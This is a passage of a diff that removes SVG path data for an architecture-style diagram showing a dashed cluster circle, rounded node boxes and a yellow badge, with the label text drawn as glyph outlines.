-                <path d="M205.454064,383.99878 L205.454064,383.99878 C205.454064,306.04401 270.129546,242.84918 349.91077,242.84918 L349.91077,242.84918 C388.223056,242.84918 424.96619,257.720243 452.05707,284.190946 C479.147951,310.661619 494.367464,346.563566 494.367464,383.998776 L494.367464,383.998776 C494.367464,461.953546 429.691988,525.148376 349.910764,525.148376 L349.910764,525.148376 C270.129544,525.148376 205.454064,461.953552 205.454064,383.998776 L205.454064,383.99878 Z" id="Path" stroke="#434753" stroke-linejoin="round" stroke-dasharray="8,3"></path>
-                <polygon id="Path" fill-opacity="0" fill="#000000" points="255.72198 251.88045 444.09994 251.88045 444.09994 292.321383 255.72198 292.321383"></polygon>
-                <path d="M289.93912,278.98795 C288.491203,278.98795 287.371412,278.545242 286.579745,277.659825 C285.788078,276.763992 285.392245,275.503575 285.392245,273.878575 C285.392245,272.201492 285.793287,270.909825 286.59537,270.003575 C287.40787,269.086908 288.553703,268.628575 290.03287,268.628575 C290.512037,268.628575 290.991203,268.680658 291.47037,268.784825 C291.959953,268.888992 292.340162,269.013992 292.610995,269.159825 L292.142245,270.441075 C291.808912,270.305658 291.444328,270.196283 291.048495,270.11295 C290.652662,270.0192 290.303703,269.972325 290.00162,269.972325 C287.97037,269.972325 286.954745,271.263992 286.954745,273.847325 C286.954745,275.076492 287.199537,276.0192 287.68912,276.67545 C288.18912,277.3317 288.928703,277.659825 289.90787,277.659825 C290.741203,277.659825 291.590162,277.482742 292.454745,277.128575 L292.454745,278.4567 C291.788078,278.810867 290.949537,278.98795 289.93912,278.98795 Z M296.336489,278.80045 L294.836489,278.80045 L294.836489,264.628575 L296.336489,264.628575 L296.336489,278.80045 Z M300.977084,268.816075 L300.977084,275.30045 C300.977084,276.11295 301.159376,276.722325 301.523959,277.128575 C301.898959,277.524408 302.477084,277.722325 303.258334,277.722325 C304.310417,277.722325 305.076042,277.435867 305.555209,276.86295 C306.034376,276.290033 306.273959,275.357742 306.273959,274.066075 L306.273959,268.816075 L307.789584,268.816075 L307.789584,278.80045 L306.539584,278.80045 L306.320834,277.4567 L306.242709,277.4567 C305.930209,277.9567 305.497917,278.336908 304.945834,278.597325 C304.404167,278.857742 303.779167,278.98795 303.070834,278.98795 C301.862501,278.98795 300.956251,278.701492 300.352084,278.128575 C299.747917,277.545242 299.445834,276.618158 299.445834,275.347325 L299.445834,268.816075 L300.977084,268.816075 Z M317.443362,276.0817 C317.443362,277.008783 317.094404,277.727533 316.396487,278.23795 C315.708987,278.73795 314.740237,278.98795 313.490237,278.98795 C312.16732,278.98795 311.13607,278.774408 310.396487,278.347325 L310.396487,276.9567 C310.875654,277.196283 311.38607,277.388992 311.927737,277.534825 C312.47982,277.670242 313.01107,277.73795 313.521487,277.73795 C314.313154,277.73795 314.922529,277.61295 315.349612,277.36295 C315.776695,277.102533 315.990237,276.717117 315.990237,276.2067 C315.990237,275.821283 315.818362,275.48795 315.474612,275.2067 C315.141279,274.92545 314.485029,274.597325 313.505862,274.222325 C312.578779,273.878575 311.91732,273.5817 311.521487,273.3317 C311.13607,273.071283 310.844404,272.779617 310.646487,272.4567 C310.458987,272.123367 310.365237,271.727533 310.365237,271.2692 C310.365237,270.4567 310.693362,269.816075 311.349612,269.347325 C312.016279,268.868158 312.927737,268.628575 314.083987,268.628575 C315.156904,268.628575 316.203779,268.847325 317.224612,269.284825 L316.693362,270.5192 C315.693362,270.102533 314.787112,269.8942 313.974612,269.8942 C313.255862,269.8942 312.714195,270.008783 312.349612,270.23795 C311.985029,270.467117 311.802737,270.774408 311.802737,271.159825 C311.802737,271.430658 311.870445,271.659825 312.005862,271.847325 C312.141279,272.034825 312.360029,272.217117 312.662112,272.3942 C312.964195,272.560867 313.547529,272.805658 314.412112,273.128575 C315.599612,273.555658 316.401695,273.98795 316.818362,274.42545 C317.235029,274.86295 317.443362,275.415033 317.443362,276.0817 Z M323.124575,277.73795 C323.395409,277.73795 323.650617,277.717117 323.8902,277.67545 C324.1402,277.633783 324.338117,277.592117 324.48395,277.55045 L324.48395,278.7067 C324.3277,278.790033 324.088117,278.857742 323.7652,278.909825 C323.442284,278.961908 323.155825,278.98795 322.905825,278.98795 C320.978742,278.98795 320.0152,277.967117 320.0152,275.92545 L320.0152,269.98795 L318.5777,269.98795 L318.5777,269.2692 L320.0152,268.628575 L320.6402,266.503575 L321.5152,266.503575 L321.5152,268.816075 L324.42145,268.816075 L324.42145,269.98795 L321.5152,269.98795 L321.5152,275.86295 C321.5152,276.467117 321.655825,276.930658 321.937075,277.253575 C322.228742,277.576492 322.624575,277.73795 323.124575,277.73795 Z M330.710757,278.98795 C329.23159,278.98795 328.064924,278.540033 327.210757,277.6442 C326.35659,276.73795 325.929507,275.48795 325.929507,273.8942 C325.929507,272.279617 326.32534,270.998367 327.117007,270.05045 C327.908674,269.102533 328.971174,268.628575 330.304507,268.628575 C331.564924,268.628575 332.554507,269.040033 333.273257,269.86295 C334.002424,270.685867 334.367007,271.774408 334.367007,273.128575 L334.367007,274.0817 L327.492007,274.0817 C327.523257,275.258783 327.820132,276.149408 328.382632,276.753575 C328.945132,277.357742 329.736799,277.659825 330.757632,277.659825 C331.830549,277.659825 332.893049,277.435867 333.945132,276.98795 L333.945132,278.3317 C333.413882,278.560867 332.908674,278.727533 332.429507,278.8317 C331.95034,278.935867 331.377424,278.98795 330.710757,278.98795 Z M330.288882,269.8942 C329.486799,269.8942 328.846174,270.159825 328.367007,270.691075 C327.898257,271.211908 327.622215,271.930658 327.538882,272.847325 L332.757632,272.847325 C332.757632,271.899408 332.54409,271.170242 332.117007,270.659825 C331.689924,270.149408 331.080549,269.8942 330.288882,269.8942 Z M341.505679,268.628575 C341.953596,268.628575 342.349429,268.665033 342.693179,268.73795 L342.490054,270.1442 C342.073387,270.05045 341.708804,270.003575 341.396304,270.003575 C340.594221,270.003575 339.901512,270.3317 339.318179,270.98795 C338.745262,271.6442 338.458804,272.461908 338.458804,273.441075 L338.458804,278.80045 L336.958804,278.80045 L336.958804,268.816075 L338.193179,268.816075 L338.380679,270.659825 L338.443179,270.659825 C338.818179,270.013992 339.266096,269.513992 339.786929,269.159825 C340.307762,268.805658 340.880679,268.628575 341.505679,268.628575 Z M344.355593,277.8317 C344.355593,277.42545 344.444135,277.118158 344.621218,276.909825 C344.808718,276.701492 345.074343,276.597325 345.418093,276.597325 C345.77226,276.597325 346.048302,276.701492 346.246218,276.909825 C346.444135,277.118158 346.543093,277.42545 346.543093,277.8317 C346.543093,278.227533 346.444135,278.534825 346.246218,278.753575 C346.048302,278.961908 345.77226,279.066075 345.418093,279.066075 C345.11601,279.066075 344.860802,278.972325 344.652468,278.784825 C344.454552,278.586908 344.355593,278.2692 344.355593,277.8317 Z M344.355593,269.784825 C344.355593,268.972325 344.70976,268.566075 345.418093,268.566075 C346.168093,268.566075 346.543093,268.972325 346.543093,269.784825 C346.543093,270.180658 346.444135,270.48795 346.246218,270.7067 C346.048302,270.915033 345.77226,271.0192 345.418093,271.0192 C345.11601,271.0192 344.860802,270.92545 344.652468,270.73795 C344.454552,270.540033 344.355593,270.222325 344.355593,269.784825 Z M358.604037,278.98795 C357.124871,278.98795 355.958204,278.540033 355.104037,277.6442 C354.249871,276.73795 353.822787,275.48795 353.822787,273.8942 C353.822787,272.279617 354.218621,270.998367 355.010287,270.05045 C355.801954,269.102533 356.864454,268.628575 358.197787,268.628575 C359.458204,268.628575 360.447787,269.040033 361.166537,269.86295 C361.895704,270.685867 362.260287,271.774408 362.260287,273.128575 L362.260287,274.0817 L355.385287,274.0817 C355.416537,275.258783 355.713412,276.149408 356.275912,276.753575 C356.838412,277.357742 357.630079,277.659825 358.650912,277.659825 C359.723829,277.659825 360.786329,277.435867 361.838412,276.98795 L361.838412,278.3317 C361.307162,278.560867 360.801954,278.727533 360.322787,278.8317 C359.843621,278.935867 359.270704,278.98795 358.604037,278.98795 Z M358.182162,269.8942 C357.380079,269.8942 356.739454,270.159825 356.260287,270.691075 C355.791537,271.211908 355.515496,271.930658 355.432162,272.847325 L360.650912,272.847325 C360.650912,271.899408 360.437371,271.170242 360.010287,270.659825 C359.583204,270.149408 358.973829,269.8942 358.182162,269.8942 Z M366.273959,268.816075 L366.273959,275.30045 C366.273959,276.11295 366.456251,276.722325 366.820834,277.128575 C367.195834,277.524408 367.773959,277.722325 368.555209,277.722325 C369.607293,277.722325 370.372918,277.435867 370.852084,276.86295 C371.331251,276.290033 371.570834,275.357742 371.570834,274.066075 L371.570834,268.816075 L373.086459,268.816075 L373.086459,278.80045 L371.836459,278.80045 L371.617709,277.4567 L371.539584,277.4567 C371.227084,277.9567 370.794793,278.336908 370.242709,278.597325 C369.701043,278.857742 369.076043,278.98795 368.367709,278.98795 C367.159376,278.98795 366.253126,278.701492 365.648959,278.128575 C365.044793,277.545242 364.742709,276.618158 364.742709,275.347325 L364.742709,268.816075 L366.273959,268.816075 Z M380.849612,268.628575 C381.297529,268.628575 381.693362,268.665033 382.037112,268.73795 L381.833987,270.1442 C381.417321,270.05045 381.052737,270.003575 380.740237,270.003575 C379.938154,270.003575 379.245446,270.3317 378.662112,270.98795 C378.089196,271.6442 377.802737,272.461908 377.802737,273.441075 L377.802737,278.80045 L376.302737,278.80045 L376.302737,268.816075 L377.537112,268.816075 L377.724612,270.659825 L377.787112,270.659825 C378.162112,270.013992 378.610029,269.513992 379.130862,269.159825 C379.651696,268.805658 380.224612,268.628575 380.849612,268.628575 Z M392.527652,273.80045 C392.527652,275.42545 392.116194,276.696283 391.293277,277.61295 C390.480777,278.529617 389.350569,278.98795 387.902652,278.98795 C387.006819,278.98795 386.209944,278.779617 385.512027,278.36295 C384.824527,277.935867 384.293277,277.3317 383.918277,276.55045 C383.543277,275.7692 383.355777,274.852533 383.355777,273.80045 C383.355777,272.17545 383.762027,270.909825 384.574527,270.003575 C385.387027,269.086908 386.517236,268.628575 387.965152,268.628575 C389.360986,268.628575 390.470361,269.097325 391.293277,270.034825 C392.116194,270.961908 392.527652,272.217117 392.527652,273.80045 Z M384.918277,273.80045 C384.918277,275.071283 385.173486,276.045242 385.683902,276.722325 C386.194319,277.388992 386.944319,277.722325 387.933902,277.722325 C388.923486,277.722325 389.673486,277.388992 390.183902,276.722325 C390.704736,276.055658 390.965152,275.0817 390.965152,273.80045 C390.965152,272.529617 390.704736,271.566075 390.183902,270.909825 C389.673486,270.253575 388.918277,269.92545 387.918277,269.92545 C386.928694,269.92545 386.178694,270.248367 385.668277,270.8942 C385.168277,271.540033 384.918277,272.508783 384.918277,273.80045 Z M399.827335,278.98795 C399.181502,278.98795 398.587752,278.868158 398.046085,278.628575 C397.504419,278.388992 397.051294,278.0192 396.68671,277.5192 L396.577335,277.5192 C396.650252,278.102533 396.68671,278.654617 396.68671,279.17545 L396.68671,283.284825 L395.18671,283.284825 L395.18671,268.816075 L396.40546,268.816075 L396.62421,270.17545 L396.68671,270.17545 C397.082544,269.633783 397.535669,269.243158 398.046085,269.003575 C398.566919,268.753575 399.160669,268.628575 399.827335,268.628575 C401.150252,268.628575 402.171085,269.0817 402.889835,269.98795 C403.608585,270.8942 403.96796,272.165033 403.96796,273.80045 C403.96796,275.435867 403.603377,276.711908 402.87421,277.628575 C402.145044,278.534825 401.129419,278.98795 399.827335,278.98795 Z M399.608585,269.92545 C398.587752,269.92545 397.848169,270.2067 397.389835,270.7692 C396.941919,271.3317 396.707544,272.227533 396.68671,273.4567 L396.68671,273.80045 C396.68671,275.2067 396.921085,276.211908 397.389835,276.816075 C397.858585,277.420242 398.608585,277.722325 399.639835,277.722325 C400.504419,277.722325 401.181502,277.373367 401.671085,276.67545 C402.160669,275.977533 402.40546,275.013992 402.40546,273.784825 C402.40546,272.534825 402.160669,271.5817 401.671085,270.92545 C401.181502,270.258783 400.494002,269.92545 399.608585,269.92545 Z M410.837894,278.98795 C409.358728,278.98795 408.192061,278.540033 407.337894,277.6442 C406.483728,276.73795 406.056644,275.48795 406.056644,273.8942 C406.056644,272.279617 406.452478,270.998367 407.244144,270.05045 C408.035811,269.102533 409.098311,268.628575 410.431644,268.628575 C411.692061,268.628575 412.681644,269.040033 413.400394,269.86295 C414.129561,270.685867 414.494144,271.774408 414.494144,273.128575 L414.494144,274.0817 L407.619144,274.0817 C407.650394,275.258783 407.947269,276.149408 408.509769,276.753575 C409.072269,277.357742 409.863936,277.659825 410.884769,277.659825 C411.957686,277.659825 413.020186,277.435867 414.072269,276.98795 L414.072269,278.3317 C413.541019,278.560867 413.035811,278.727533 412.556644,278.8317 C412.077478,278.935867 411.504561,278.98795 410.837894,278.98795 Z M410.416019,269.8942 C409.613936,269.8942 408.973311,270.159825 408.494144,270.691075 C408.025394,271.211908 407.749353,271.930658 407.666019,272.847325 L412.884769,272.847325 C412.884769,271.899408 412.671228,271.170242 412.244144,270.659825 C411.817061,270.149408 411.207686,269.8942 410.416019,269.8942 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,421.83142 L272.00476,421.83142 C272.00476,413.583221 278.691253,406.896728 286.939452,406.896728 L412.881102,406.896728 C416.842039,406.896728 420.640715,408.470184 423.441527,411.270996 C426.242308,414.071777 427.815795,417.870483 427.815795,421.831421 L427.815795,481.568329 C427.815795,489.816528 421.129302,496.503021 412.881103,496.503021 L286.939453,496.503021 C278.691254,496.503021 272.00476,489.816528 272.00476,481.568329 L272.00476,421.83142 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,435.08157 L343.8936,435.284695 C343.622767,436.274278 343.127975,437.045112 342.409225,437.597195 C341.690475,438.138862 340.7686,438.409695 339.6436,438.409695 C338.226933,438.409695 337.101933,437.977403 336.2686,437.11282 C335.445683,436.23782 335.034225,435.013862 335.034225,433.440945 C335.034225,431.805528 335.450892,430.539903 336.284225,429.64407 C337.127975,428.748237 338.216517,428.30032 339.54985,428.30032 C340.841517,428.30032 341.8936,428.743028 342.7061,429.628445 C343.529017,430.503445 343.940475,431.73782 343.940475,433.33157 C343.940475,433.435737 343.940475,433.58157 343.940475,433.76907 L336.721725,433.76907 C336.784225,434.83157 337.086308,435.649278 337.627975,436.222195 C338.169642,436.784695 338.841517,437.065945 339.6436,437.065945 C340.247767,437.065945 340.763392,436.909695 341.190475,436.597195 C341.617558,436.274278 341.9561,435.76907 342.2061,435.08157 Z M336.815475,432.42532 L342.221725,432.42532 C342.148808,431.61282 341.940475,431.003445 341.596725,430.597195 C341.075892,429.961778 340.398808,429.64407 339.565475,429.64407 C338.815475,429.64407 338.180058,429.899278 337.659225,430.409695 C337.148808,430.909695 336.867558,431.58157 336.815475,432.42532 Z M352.284927,438.190945 L352.284927,436.76907 C351.534927,437.86282 350.514094,438.409695 349.222427,438.409695 C348.64951,438.409695 348.113052,438.30032 347.613052,438.08157 C347.123469,437.86282 346.758885,437.586778 346.519302,437.253445 C346.279719,436.920112 346.113052,436.513862 346.019302,436.034695 C345.946385,435.722195 345.909927,435.211778 345.909927,434.503445 L345.909927,428.51907 L347.550552,428.51907 L347.550552,433.878445 C347.550552,434.732612 347.58701,435.310737 347.659927,435.61282 C347.764094,436.039903 347.982844,436.378445 348.316177,436.628445 C348.64951,436.878445 349.060969,437.003445 349.550552,437.003445 C350.040135,437.003445 350.498469,436.878445 350.925552,436.628445 C351.363052,436.368028 351.670344,436.024278 351.847427,435.597195 C352.02451,435.159695 352.113052,434.529487 352.113052,433.70657 L352.113052,428.51907 L353.753677,428.51907 L353.753677,438.190945 L352.284927,438.190945 Z M364.488784,436.61282 L364.488784,438.190945 L355.660659,438.190945 C355.650242,437.795112 355.712742,437.414903 355.848159,437.05032 C356.077326,436.446153 356.436701,435.852403 356.926284,435.26907 C357.426284,434.685737 358.145034,434.013862 359.082534,433.253445 C360.530451,432.065945 361.509617,431.123237 362.020034,430.42532 C362.530451,429.727403 362.785659,429.071153 362.785659,428.45657 C362.785659,427.80032 362.551284,427.253445 362.082534,426.815945 C361.624201,426.368028 361.020034,426.14407 360.270034,426.14407 C359.478367,426.14407 358.842951,426.383653 358.363784,426.86282 C357.895034,427.33157 357.660659,427.982612 357.660659,428.815945 L355.973159,428.64407 C356.087742,427.383653 356.520034,426.42532 357.270034,425.76907 C358.030451,425.11282 359.040867,424.784695 360.301284,424.784695 C361.582534,424.784695 362.598159,425.138862 363.348159,425.847195 C364.098159,426.555528 364.473159,427.435737 364.473159,428.48782 C364.473159,429.01907 364.363784,429.545112 364.145034,430.065945 C363.926284,430.586778 363.561701,431.133653 363.051284,431.70657 C362.551284,432.26907 361.707534,433.05032 360.520034,434.05032 C359.540867,434.873237 358.910659,435.435737 358.629409,435.73782 C358.348159,436.029487 358.118992,436.321153 357.941909,436.61282 L364.488784,436.61282 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M272.00476,318.2032 L272.00476,318.2032 C272.00476,309.955001 278.691253,303.268508 286.939452,303.268508 L412.881102,303.268508 C416.842039,303.268508 420.640715,304.841994 423.441527,307.642776 C426.242308,310.443587 427.815795,314.242263 427.815795,318.203201 L427.815795,377.940141 C427.815795,386.18834 421.129302,392.874833 412.881103,392.874833 L286.939453,392.874833 C278.691254,392.874833 272.00476,386.18834 272.00476,377.940141 L272.00476,318.2032 Z" id="Path" stroke="#00BFB3" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M342.2061,331.45334 L343.8936,331.656465 C343.622767,332.646048 343.127975,333.416882 342.409225,333.968965 C341.690475,334.510632 340.7686,334.781465 339.6436,334.781465 C338.226933,334.781465 337.101933,334.349173 336.2686,333.48459 C335.445683,332.60959 335.034225,331.385632 335.034225,329.812715 C335.034225,328.177298 335.450892,326.911673 336.284225,326.01584 C337.127975,325.120007 338.216517,324.67209 339.54985,324.67209 C340.841517,324.67209 341.8936,325.114798 342.7061,326.000215 C343.529017,326.875215 343.940475,328.10959 343.940475,329.70334 C343.940475,329.807507 343.940475,329.95334 343.940475,330.14084 L336.721725,330.14084 C336.784225,331.20334 337.086308,332.021048 337.627975,332.593965 C338.169642,333.156465 338.841517,333.437715 339.6436,333.437715 C340.247767,333.437715 340.763392,333.281465 341.190475,332.968965 C341.617558,332.646048 341.9561,332.14084 342.2061,331.45334 Z M336.815475,328.79709 L342.221725,328.79709 C342.148808,327.98459 341.940475,327.375215 341.596725,326.968965 C341.075892,326.333548 340.398808,326.01584 339.565475,326.01584 C338.815475,326.01584 338.180058,326.271048 337.659225,326.781465 C337.148808,327.281465 336.867558,327.95334 336.815475,328.79709 Z M352.284927,334.562715 L352.284927,333.14084 C351.534927,334.23459 350.514094,334.781465 349.222427,334.781465 C348.64951,334.781465 348.113052,334.67209 347.613052,334.45334 C347.123469,334.23459 346.758885,333.958548 346.519302,333.625215 C346.279719,333.291882 346.113052,332.885632 346.019302,332.406465 C345.946385,332.093965 345.909927,331.583548 345.909927,330.875215 L345.909927,324.89084 L347.550552,324.89084 L347.550552,330.250215 C347.550552,331.104382 347.58701,331.682507 347.659927,331.98459 C347.764094,332.411673 347.982844,332.750215 348.316177,333.000215 C348.64951,333.250215 349.060969,333.375215 349.550552,333.375215 C350.040135,333.375215 350.498469,333.250215 350.925552,333.000215 C351.363052,332.739798 351.670344,332.396048 351.847427,331.968965 C352.02451,331.531465 352.113052,330.901257 352.113052,330.07834 L352.113052,324.89084 L353.753677,324.89084 L353.753677,334.562715 L352.284927,334.562715 Z M362.051284,334.562715 L360.410659,334.562715 L360.410659,324.10959 C360.014826,324.48459 359.493992,324.864798 358.848159,325.250215 C358.212742,325.625215 357.639826,325.906465 357.129409,326.093965 L357.129409,324.500215 C358.046076,324.073132 358.848159,323.552298 359.535659,322.937715 C360.223159,322.323132 360.707534,321.729382 360.988784,321.156465 L362.051284,321.156465 L362.051284,334.562715 Z" id="Shape" fill="#3EBEB0" fill-rule="nonzero"></path>
-                <path d="M354.16272,353.5403 L354.16272,353.5403 C354.16272,349.733659 357.248627,346.647783 361.055268,346.647783 L410.766268,346.647783 C412.59427,346.647783 414.347414,347.373949 415.640017,348.666551 C416.932619,349.959154 417.658785,351.712297 417.658785,353.5403 L417.658785,381.109575 C417.658785,384.916216 414.572908,388.002123 410.766268,388.002123 L361.055268,388.002123 C357.248627,388.002123 354.16272,384.916216 354.16272,381.109575 L354.16272,353.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,366.87247 L367.85217,355.388095 L369.13342,355.388095 L369.13342,356.46622 C369.435503,356.039137 369.774045,355.721428 370.149045,355.513095 C370.534462,355.304762 370.998003,355.200595 371.53967,355.200595 C372.248003,355.200595 372.873003,355.382887 373.41467,355.74747 C373.956337,356.112053 374.362587,356.627678 374.63342,357.294345 C374.91467,357.950595 375.055295,358.674553 375.055295,359.46622 C375.055295,360.320387 374.899045,361.086012 374.586545,361.763095 C374.284462,362.440178 373.841753,362.961012 373.25842,363.325595 C372.685503,363.690178 372.076128,363.87247 371.430295,363.87247 C370.961545,363.87247 370.53967,363.773512 370.16467,363.575595 C369.800087,363.377678 369.498003,363.127678 369.25842,362.825595 L369.25842,366.87247 L367.85217,366.87247 Z M369.117795,359.575595 C369.117795,360.648512 369.331337,361.440178 369.75842,361.950595 C370.19592,362.461012 370.721962,362.71622 371.336545,362.71622 C371.961545,362.71622 372.498003,362.450595 372.94592,361.919345 C373.393837,361.388095 373.617795,360.570387 373.617795,359.46622 C373.617795,358.40372 373.399045,357.612053 372.961545,357.09122 C372.524045,356.55997 372.003212,356.294345 371.399045,356.294345 C370.805295,356.294345 370.274045,356.575595 369.805295,357.138095 C369.346962,357.700595 369.117795,358.513095 369.117795,359.575595 Z M376.219358,359.52872 C376.219358,357.99747 376.646441,356.862053 377.500608,356.12247 C378.219358,355.507887 379.089149,355.200595 380.109983,355.200595 C381.255816,355.200595 382.188108,355.575595 382.906858,356.325595 C383.636024,357.065178 384.000608,358.096428 384.000608,359.419345 C384.000608,360.481845 383.839149,361.320387 383.516233,361.93497 C383.193316,362.549553 382.724566,363.02872 382.109983,363.37247 C381.505816,363.705803 380.839149,363.87247 380.109983,363.87247 C378.953733,363.87247 378.016233,363.502678 377.297483,362.763095 C376.578733,362.013095 376.219358,360.93497 376.219358,359.52872 Z M377.672483,359.52872 C377.672483,360.59122 377.901649,361.388095 378.359983,361.919345 C378.828733,362.450595 379.412066,362.71622 380.109983,362.71622 C380.807899,362.71622 381.386024,362.450595 381.844358,361.919345 C382.313108,361.388095 382.547483,360.575595 382.547483,359.481845 C382.547483,358.461012 382.313108,357.68497 381.844358,357.15372 C381.386024,356.62247 380.807899,356.356845 380.109983,356.356845 C379.412066,356.356845 378.828733,356.62247 378.359983,357.15372 C377.901649,357.674553 377.672483,358.46622 377.672483,359.52872 Z M385.086545,361.200595 L386.47717,360.981845 C386.550087,361.544345 386.763628,361.976637 387.117795,362.27872 C387.482378,362.570387 387.982378,362.71622 388.617795,362.71622 C389.263628,362.71622 389.742795,362.586012 390.055295,362.325595 C390.367795,362.054762 390.524045,361.742262 390.524045,361.388095 C390.524045,361.075595 390.388628,360.825595 390.117795,360.638095 C389.919878,360.513095 389.440712,360.356845 388.680295,360.169345 C387.649045,359.908928 386.930295,359.68497 386.524045,359.49747 C386.128212,359.299553 385.826128,359.033928 385.617795,358.700595 C385.419878,358.367262 385.32092,357.99747 385.32092,357.59122 C385.32092,357.21622 385.404253,356.87247 385.57092,356.55997 C385.737587,356.24747 385.966753,355.987053 386.25842,355.77872 C386.47717,355.612053 386.774045,355.476637 387.149045,355.37247 C387.534462,355.257887 387.940712,355.200595 388.367795,355.200595 C389.024045,355.200595 389.596962,355.294345 390.086545,355.481845 C390.576128,355.669345 390.935503,355.924553 391.16467,356.24747 C391.404253,356.55997 391.57092,356.987053 391.66467,357.52872 L390.28967,357.71622 C390.22717,357.289137 390.044878,356.955803 389.742795,356.71622 C389.440712,356.476637 389.018837,356.356845 388.47717,356.356845 C387.831337,356.356845 387.367795,356.46622 387.086545,356.68497 C386.815712,356.893303 386.680295,357.138095 386.680295,357.419345 C386.680295,357.606845 386.737587,357.773512 386.85217,357.919345 C386.966753,358.065178 387.143837,358.190178 387.38342,358.294345 C387.529253,358.346428 387.94592,358.46622 388.63342,358.65372 C389.623003,358.914137 390.315712,359.132887 390.711545,359.30997 C391.107378,359.476637 391.41467,359.721428 391.63342,360.044345 C391.862587,360.367262 391.97717,360.768303 391.97717,361.24747 C391.97717,361.71622 391.836545,362.158928 391.555295,362.575595 C391.284462,362.981845 390.888628,363.299553 390.367795,363.52872 C389.857378,363.757887 389.279253,363.87247 388.63342,363.87247 C387.550087,363.87247 386.72717,363.648512 386.16467,363.200595 C385.60217,362.752678 385.242795,362.086012 385.086545,361.200595 Z M396.711545,362.419345 L396.91467,363.669345 C396.518837,363.752678 396.16467,363.794345 395.85217,363.794345 C395.341753,363.794345 394.94592,363.71622 394.66467,363.55997 C394.38342,363.393303 394.185503,363.179762 394.07092,362.919345 C393.956337,362.648512 393.899045,362.09122 393.899045,361.24747 L393.899045,356.481845 L392.867795,356.481845 L392.867795,355.388095 L393.899045,355.388095 L393.899045,353.325595 L395.305295,352.481845 L395.305295,355.388095 L396.711545,355.388095 L396.711545,356.481845 L395.305295,356.481845 L395.305295,361.325595 C395.305295,361.731845 395.326128,361.992262 395.367795,362.106845 C395.419878,362.221428 395.503212,362.315178 395.617795,362.388095 C395.732378,362.450595 395.893837,362.481845 396.10217,362.481845 C396.25842,362.481845 396.461545,362.461012 396.711545,362.419345 Z M397.531858,361.200595 L398.922483,360.981845 C398.995399,361.544345 399.208941,361.976637 399.563108,362.27872 C399.927691,362.570387 400.427691,362.71622 401.063108,362.71622 C401.708941,362.71622 402.188108,362.586012 402.500608,362.325595 C402.813108,362.054762 402.969358,361.742262 402.969358,361.388095 C402.969358,361.075595 402.833941,360.825595 402.563108,360.638095 C402.365191,360.513095 401.886024,360.356845 401.125608,360.169345 C400.094358,359.908928 399.375608,359.68497 398.969358,359.49747 C398.573524,359.299553 398.271441,359.033928 398.063108,358.700595 C397.865191,358.367262 397.766233,357.99747 397.766233,357.59122 C397.766233,357.21622 397.849566,356.87247 398.016233,356.55997 C398.182899,356.24747 398.412066,355.987053 398.703733,355.77872 C398.922483,355.612053 399.219358,355.476637 399.594358,355.37247 C399.979774,355.257887 400.386024,355.200595 400.813108,355.200595 C401.469358,355.200595 402.042274,355.294345 402.531858,355.481845 C403.021441,355.669345 403.380816,355.924553 403.609983,356.24747 C403.849566,356.55997 404.016233,356.987053 404.109983,357.52872 L402.734983,357.71622 C402.672483,357.289137 402.490191,356.955803 402.188108,356.71622 C401.886024,356.476637 401.464149,356.356845 400.922483,356.356845 C400.276649,356.356845 399.813108,356.46622 399.531858,356.68497 C399.261024,356.893303 399.125608,357.138095 399.125608,357.419345 C399.125608,357.606845 399.182899,357.773512 399.297483,357.919345 C399.412066,358.065178 399.589149,358.190178 399.828733,358.294345 C399.974566,358.346428 400.391233,358.46622 401.078733,358.65372 C402.068316,358.914137 402.761024,359.132887 403.156858,359.30997 C403.552691,359.476637 403.859983,359.721428 404.078733,360.044345 C404.307899,360.367262 404.422483,360.768303 404.422483,361.24747 C404.422483,361.71622 404.281858,362.158928 404.000608,362.575595 C403.729774,362.981845 403.333941,363.299553 402.813108,363.52872 C402.302691,363.757887 401.724566,363.87247 401.078733,363.87247 C399.995399,363.87247 399.172483,363.648512 398.609983,363.200595 C398.047483,362.752678 397.688108,362.086012 397.531858,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M382.09436,382.68497 L380.68811,382.68497 L380.68811,373.71622 C380.34436,374.039137 379.896443,374.362053 379.34436,374.68497 C378.802693,375.007887 378.31311,375.252678 377.87561,375.419345 L377.87561,374.05997 C378.65686,373.68497 379.339152,373.237053 379.922485,372.71622 C380.516235,372.18497 380.93811,371.674553 381.18811,371.18497 L382.09436,371.18497 L382.09436,382.68497 Z M386.258422,382.68497 L386.258422,371.231845 L390.586547,371.231845 C391.346964,371.231845 391.925089,371.268303 392.320922,371.34122 C392.883422,371.43497 393.352172,371.612053 393.727172,371.87247 C394.112589,372.132887 394.419881,372.502678 394.649047,372.981845 C394.888631,373.450595 395.008422,373.971428 395.008422,374.544345 C395.008422,375.513095 394.695922,376.336012 394.070922,377.013095 C393.456339,377.690178 392.336547,378.02872 390.711547,378.02872 L387.774047,378.02872 L387.774047,382.68497 L386.258422,382.68497 Z M387.774047,376.669345 L390.742797,376.669345 C391.721964,376.669345 392.414672,376.487053 392.820922,376.12247 C393.237589,375.757887 393.445922,375.24747 393.445922,374.59122 C393.445922,374.112053 393.320922,373.700595 393.070922,373.356845 C392.831339,373.013095 392.513631,372.789137 392.117797,372.68497 C391.867797,372.612053 391.399047,372.575595 390.711547,372.575595 